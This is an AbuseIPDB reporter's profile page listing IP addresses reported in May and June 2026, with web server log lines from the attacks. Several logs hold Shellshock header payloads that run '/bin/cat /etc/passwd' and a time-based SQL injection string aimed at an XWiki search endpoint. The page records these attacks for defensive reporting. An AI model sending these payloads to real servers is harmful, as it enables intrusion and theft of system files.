User axeld
joined AbuseIPDB in May 2026 and has reported 12 IP
addresses.
Standing (weight) is
good.
INACTIVE USER
IP
Date
Comment
Categories
🇮🇪
108.130.17.156
18 Jun 2026
Shellshock Attack
Web App Attack
🇧🇷
163.176.52.124
09 Jun 2026
Full Log
163.176.52.124 - - [09/Jun/2026:04:30:36 +0000] "GET /cgi-bin/welcome HTTP/1.1" 301 0 "() ...
show more
Full Log
163.176.52.124 - - [09/Jun/2026:04:30:36 +0000] "GET /cgi-bin/welcome HTTP/1.1" 301 0 "() { Referer; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo -e \x22\x5C0141\x5C0141\x5C0141\x5C0141\x5C0141\x5C0141\x5C0141\x5C0141\x5C0163\x5C0150\x5C0145\x5C0154\x5C0154\x5C0163\x5C0150\x5C0157\x5C0143\x5C0153\x22" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
show less
Web App Attack
🇮🇪
18.201.225.133
08 Jun 2026
18.201.225.133 - - [07/Jun/2026:23:41:22 +0000] "GET /xwiki/rest/wikis/xwiki/search?q=test&scope=ti ...
show more
18.201.225.133 - - [07/Jun/2026:23:41:22 +0000] "GET /xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName HTTP/1.1" 302 36 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
show less
SQL Injection
🇮🇪
54.216.91.15
08 Jun 2026
54.216.91.15 - - [07/Jun/2026:23:41:29 +0000] "GET /xwiki/rest/wikis/xwiki/search?q=test&scope=titl ...
show more
54.216.91.15 - - [07/Jun/2026:23:41:29 +0000] "GET /xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName HTTP/1.1" 404 148 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Safari/605.1.15"
show less
SQL Injection
🇮🇪
34.252.224.232
05 Jun 2026
Web App Attack
🇮🇪
3.252.136.72
05 Jun 2026
Full Log
3.252.136.72 - - [04/Jun/2026:13:26:08 +0000] "GET /cgi-bin/test.cgi HTTP/1.1" 302 40 "() ...
show more
Full Log
3.252.136.72 - - [04/Jun/2026:13:26:08 +0000] "GET /cgi-bin/test.cgi HTTP/1.1" 302 40 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
show less
Web App Attack
🇮🇪
108.129.201.185
03 Jun 2026
Full Log
108.129.201.185 - - [03/Jun/2026:01:06:40 +0000] "GET /cgi-bin/test HTTP/1.1" 302 40 "() { ...
show more
Full Log
108.129.201.185 - - [03/Jun/2026:01:06:40 +0000] "GET /cgi-bin/test HTTP/1.1" 302 40 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
show less
Web App Attack
🇮🇪
108.130.204.63
01 Jun 2026
Full Log
108.130.204.63 - - [28/May/2026:02:19:07 +0000] "GET /?unix:AAAAAAAAAAAAAA
Web App Attack
🇮🇪
54.216.254.27
01 Jun 2026
Full Log
54.216.254.27 - - [28/May/2026:02:57:56 +0000] "GET /cgi-bin/slogin/login.py HTTP/1.1" 302 ...
show more
Full Log
54.216.254.27 - - [28/May/2026:02:57:56 +0000] "GET /cgi-bin/slogin/login.py HTTP/1.1" 302 40 "-" "() { :; }; echo ; echo ; /bin/cat /etc/passwd"
show less
Web App Attack
🇩🇪
85.239.149.82
01 Jun 2026
85.239.149.82 - - [29/May/2026:05:13:36 +0000] "GET /test.cgi HTTP/1.1" 302 36 "() { ignored; }; ech ...
show more
85.239.149.82 - - [29/May/2026:05:13:36 +0000] "GET /test.cgi HTTP/1.1" 302 36 "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15"
show less
Web App Attack
🇮🇪
34.243.82.244
21 May 2026
Full Log
34.243.82.244 - - [21/May/2026:03:04:22 +0000] "GET /cgi-bin/slogin/login.py HTTP/1.1" 302 ...
show more
Full Log
34.243.82.244 - - [21/May/2026:03:04:22 +0000] "GET /cgi-bin/slogin/login.py HTTP/1.1" 302 40 "-" "() { :; }; echo ; echo ; /bin/cat /etc/passwd"
show less
Web App Attack
🇵🇱
144.31.2.199
18 May 2026
Web App Attack